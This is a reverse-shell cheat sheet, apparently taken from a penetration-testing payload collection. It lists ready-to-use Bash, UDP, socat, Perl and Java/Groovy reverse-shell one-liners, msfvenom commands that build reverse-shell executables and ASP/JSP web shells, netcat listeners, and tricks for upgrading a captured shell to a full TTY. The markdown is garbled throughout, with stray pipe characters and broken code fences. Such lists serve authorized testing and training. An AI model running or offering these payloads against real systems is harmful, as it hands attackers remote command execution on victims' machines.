## Reverse Shell
|
|
|
|
### Bash TCP
|
|
|
|
```bash
|
|
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
|
|
|
|
0<&196;exec 196<>/dev/tcp/<your IP>/<same unfiltered port>; sh <&196 >&196 2>&196
|
|
```
|
|
|
|
### Bash UDP
|
|
|
|
```bash
|
|
Victim:
|
|
sh -i >& /dev/udp/127.0.0.1/4242 0>&1
|
|
|
|
Listener:
|
|
nc -u -lvp 4242
|
|
```
|
|
|
|
### Socat
|
|
|
|
```powershell
|
|
user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242
|
|
user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:4242
|
|
```
|
|
|
|
Static socat binary can be found at [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat)
|
|
|
|
### Perl

|
|
|
```perl
|
|

|
|
|
|
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
|
|
|
|
|
NOTE: Windows only

### Groovy
|
|
|
|

|
|
NOTE: Java reverse shell also work for Groovy
|
|
|
|
```javascript
|
|
String host="localhost";
|
|
int port=8044;
|
|
String cmd="cmd.exe";
|
|
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
|
|
```

|
|
## Meterpreter Shell

|
|
```
|
|
|
|
### Windows Stageless reverse TCP

|
|
|
```powershell
|
|
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.110 LPORT=4242 -f exe > reverse.exe
|
|
```
|
|

|
```
|
|
|
|
### Linux Stageless reverse TCP
|
|
|
|
```powershell
|
|
$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.110 LPORT=4242 -f elf >reverse.elf
|
|
```
|
|
|
|
### Other platforms

|
|
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f asp > shell.asp
|
|
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.jsp
|
|

|
|
```
|
|
|
|
## Spawn TTY Shell
|
|
|
|
In order to catch a shell, you need to listen on the desired port. `rlwrap` will enhance the shell, allowing you to clear the screen with `[CTRL] + [L]`.
|
|
|
|
```powershell
|
|
rlwrap nc localhost 80
|
|
|
|
rlwrap -r -f . nc 127.0.0.1 4242
|
|
-f . will make rlwrap use the current history file as a completion word list.
|
|
-r Put all words seen on in- and output on the completion list.
|
|
```
|
|
|
|
Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell.
|
|
|
|
:warning: OhMyZSH might break this trick, a simple `sh` is recommended
|
|
|
|
> The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect
|
|
|
|
```powershell
|
|
ctrl+z
|
|
echo $TERM && tput lines && tput cols
|
|
|
|
# for bash
|
|
stty raw -echo
|
|
fg
|
|
|
|
# for zsh
|
|
stty raw -echo; fg
|
|
|
|
reset
|
|
export SHELL=bash
|
|
export TERM=xterm-256color
|
|
stty rows <num> columns <cols>
|
|
```
|
|
|
|
or use `socat` binary to get a fully tty reverse shell
|
|
|
|
```bash
|
|
socat file:`tty`,raw,echo=0 tcp-listen:12345
|
|
```
|
|
|
|
Spawn a TTY shell from an interpreter
|
|
|
|
```powershell
|
|
/bin/sh -i
|
|
python -c 'import pty; pty.spawn("/bin/sh")'
|
|
perl -e 'exec "/bin/sh";'
|
|
perl: exec "/bin/sh";
|
|
ruby: exec "/bin/sh"
|
|
lua: os.execute('/bin/sh')
|
|
```
